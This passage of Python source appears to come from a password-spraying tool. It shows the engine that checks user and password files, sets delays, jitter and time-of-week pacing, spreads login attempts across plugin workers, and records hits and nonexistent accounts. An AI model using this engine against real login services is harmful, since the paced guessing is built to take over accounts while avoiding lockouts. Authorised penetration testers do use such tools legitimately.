104 | headers=p["headers"],
105 | req_timeout=p["req_timeout"],
106 | )
107 | w = Worker(
108 | requests_proxy,
109 | p["name"],
110 | p["args"],
111 | p["weight"],
112 | self.handle_worker_response,
113 | self._logger,
114 | len(self._workers),
115 | )
116 | valid = w.init_plugin()
117 | if valid:
118 | self._workers.append(w)
119 | else:
120 | self._valid_args = False
121 | return
122 |
123 | # Initialize cache
124 | self._cache = Cache(self.args["cache_file"])
125 | if self._cache.error is not None:
126 | self._logger.error(self._cache.error)
127 | self._valid_args = False
128 | return
129 |
130 | delays = {
131 | "req": self.args["delay_req"],
132 | "jitter": self.args["jitter"],
133 | "user": self.args["delay_user"],
134 | "chunk_delay": self.args["chunk_delay"],
135 | "chunk_size": self.args["chunk_size"],
136 | "ww": self.args["weekday_warrior"],
137 | }
138 | self._pool = Pool(
139 | self.args["userfile"],
140 | self.args["passwordfile"],
141 | self.args["userpassfile"],
142 | delays,
143 | self._cache,
144 | self._workers,
145 | self._logger,
146 | )
147 |
148 | def check_args(self):
149 | if self.args["plugins"] is None:
150 | self._logger.error("At least 1 plugin must be specified")
151 | return False
152 | if type(self.args["plugins"]) != list:
153 | self._logger.error(
154 | "Your plugins format is weird, it must be a list of objects with attributes 'name' (and optionally 'weight', 'headers', 'args', 'proxy' and 'useragentfile')"
155 | )
156 | return False
157 | if self.args["userfile"] is None and self.args["userpassfile"] is None:
158 | self._logger.error(
159 | "At least a userfile or a userpassfile must be specified"
160 | )
161 | return False
162 | if self.args["userfile"] is not None and self.args["passwordfile"] is None:
163 | self._logger.error(
164 | "A passwordfile must be specified along with the userfile"
165 | )
166 | return False
167 | for f in ["userfile", "userpassfile", "passwordfile"]:
168 | if self.args[f] is not None and (
169 | not os.path.isfile(self.args[f]) or not os.access(self.args[f], os.R_OK)
170 | ):
171 | self._logger.error(f"The {f} ({self.args[f]}) cannot be accessed.")
172 | return False
173 | for p in ["jitter", "delay_req", "delay_user", "chunk_size", "chunk_delay"]:
174 | if type(self.args[p]) != int:
175 | self._logger.error(
176 | f"Parameter {p} must be specified, and must be an integer"
177 | )
178 | return False
179 | if self.args["weekday_warrior"] is not None:
180 | for x in [
181 | "utc_offset",
182 | "daily_speedup",
183 | "initial_speed",
184 | "hours_factor",
185 | "days_factor",
186 | ]:
187 | if not x in self.args["weekday_warrior"].keys():
188 | self._logger.error(
189 | f"Key {x} should be present in weekday warrior file."
190 | )
191 | return False
192 | if self.args["post_actions"] is not None:
193 | for action_name in self.args["post_actions"].keys():
194 | action = self.args["post_actions"][action_name]
195 | try:
196 | importlib.import_module(f".post_actions.{action_name}", package='captaincredz')
197 | except Exception as e:
198 | raise e
199 | self._logger.error(
200 | f"Post-action module {action_name} cannot be imported: directory does not exist."
201 | )
202 | return False
203 | for hook in action["trigger"]:
204 | if hook not in Cache.TRANSLATE and not hook == "error":
205 | self._logger.error(
206 | f"Hook '{hook}' for post-action {action_name} is not correct. "
207 | f"Must be either 'error', 'success', 'potential', 'failure' or 'inexistant'."
208 | )
209 | return False
210 | return True
211 |
212 | def start(self, progress_bar=None):
213 | if not self._valid_args:
214 | if self._logger is not None:
215 | self._logger.error("Arguments are not valid (see above). Exiting!")
216 | else:
217 | print("Arguments are not valid (see above). Exiting!")
218 | return
219 |
220 | signal.signal(signal.SIGINT, self.sighandler)
221 |
222 | if progress_bar is not None:
223 | self._progress_bar = progress_bar
224 | self._progress_task = self._progress_bar.add_task(
225 | "[red]Spraying...", total=self._pool.get_total_size()
226 | )
227 |
228 | self._worker_threads = []
229 | for w in self._workers:
230 | t = threading.Thread(target=w.main)
231 | t.start()
232 | self._worker_threads.append(t)
233 |
234 | while not self._stopped:
235 | workers = [_w for _w in self._workers if not _w.cancelled]
236 | userpass, w_id = self._pool.get_creds(workers)
237 | if userpass is None:
238 | self._logger.info("No more creds to test")
239 | self._stopped = True
240 | else:
241 | self._logger.debug(f"Current candidate is {userpass}")
242 | workers[w_id].add(userpass["username"], userpass["password"])
243 | self._cache.write_back()
244 | for w in self._workers:
245 | w.cancelled = True
246 | self._pool.stop()
247 | for t in self._worker_threads:
248 | t.join()
249 |
250 | self._logger.debug("All workers have successfully stopped")
251 |
252 | def sighandler(self, signum, frame):
253 | # print(signum, frame)
254 | if not self._stopped:
255 | self._logger.info("Stopping gracefully, please wait...")
256 | self._stopped = True
257 | self._pool.stop()
258 | for w in self._workers:
259 | w.cancelled = True
260 | self._cache.write_back()
261 | self._logger.info(
262 | "All cleaned up! Just waiting for workers to finish their current tasks, you may kill them with another CTRL+C if it is taking too long"
263 | )
264 | sys.exit()
265 | else:
266 | self._logger.info(
267 | "Double CTRL+C, hard quitting! You may have to press CTRL+C once more..."
268 | )
269 | sys.exit()
270 |
271 | def handle_worker_response(self, u, p, data, plugin_id):
272 | # data contains "ts", "result", "error", "request", "output"
273 | self._pool.signal_tried(u, p, plugin_id, error=data["error"])
274 | if data["error"]:
275 | data["result"] = None
276 | if "error" in self._post_actions.keys():
277 | for pa_dict in self._post_actions["error"]:
278 | pa = pa_dict["module"]
279 | params = pa_dict.get("params")
280 | try:
281 | pa.action(
282 | u,
283 | p,
284 | data["ts"],
285 | data["request"],
286 | self._workers[plugin_id].plugin,
287 | data["result"],
288 | self._logger,
289 | action_params=params,
290 | )
291 | except Exception as ex:
292 | self._logger.error(
293 | f"The post_action {pa_dict.get('name')} (trigger error) raised the following exception:"
294 | )
295 | self._logger.error(str(ex.__repr__()))
296 | self._logger.error(f"Ignoring and continuing spray.")
297 | self._logger.log_tentative(
298 | u,
299 | p,
300 | data["ts"],
301 | data["result"],
302 | data["output"],
303 | self._workers[plugin_id].plugin,
304 | )
305 | if not data["error"]:
306 | self._cache.add_tentative(
307 | u,
308 | p,
309 | data["ts"],
310 | data["result"],
311 | data["output"],
312 | self._workers[plugin_id].plugin,
313 | )
314 |
315 | # If no post-actions were defined, this key will be empty, therefore we need to check first
316 | if data["result"] in self._post_actions.keys():
317 | # Calling the right post-action hooks
318 | for pa_dict in self._post_actions[data["result"]]:
319 | pa = pa_dict["module"]
320 | params = pa_dict.get("params")
321 | try:
322 | pa.action(
323 | u,
324 | p,
325 | data["ts"],
326 | data["request"],
327 | self._workers[plugin_id].plugin,
328 | data["result"],
329 | self._logger,
330 | action_params=params,
331 | )
332 | except Exception as ex:
333 | self._logger.error(
334 | f"The post_action {pa_dict.get('name')} (trigger {data['result']}) raised the following exception:"
335 | )
336 | self._logger.error(str(ex.__repr__()))
337 | self._logger.error(f"Ignoring and continuing spray.")
338 | # Handling specific cases
339 | # If it is a success
340 | if data["result"] == Cache.TRANSLATE_INV[Cache.RESULT_SUCCESS]:
341 | if self.args["stop_on_success"]:
342 | self._logger.info(
343 | "Stopping on first success according to configuration option stop_on_success"
344 | )
345 | self.sighandler(0, 0)
346 | if self.args["stop_worker_on_success"]:
347 | self._logger.info(
348 | f"Stopping plugin {self._workers[plugin_id].plugin} (plugin_id = {plugin_id}) on first success according to configuration option stop_worker_on_success"
349 | )
350 | self._workers[plugin_id].cancelled = True
351 | self._pool.trim_user(u, plugin_id)
352 | self._cache.write_back()
353 | if self._progress_bar is not None:
354 | self._progress_bar.update(
355 | self._progress_task,
356 | completed=self._pool.attempts_count,
357 | total=self._pool.get_total_size() + self._pool.attempts_count,
358 | )
359 | # If it does not exist
360 | elif data["result"] == Cache.TRANSLATE_INV[Cache.RESULT_INEXISTANT]:
361 | self._pool.trim_user(u, plugin_id)
362 | if self._progress_bar is not None:
363 | self._progress_bar.update(
364 | self._progress_task,
365 | completed=self._pool.attempts_count,
366 | total=self._pool.get_total_size() + self._pool.attempts_count,
367 | )
368 | elif self._progress_bar is not None:
369 | self._progress_bar.update(
370 | self._progress_task, completed=self._pool.attempts_count
371 | )
372 |
373 | if self._stopped:
374 | self._cache.write_back()
375 |
--------------------------------------------------------------------------------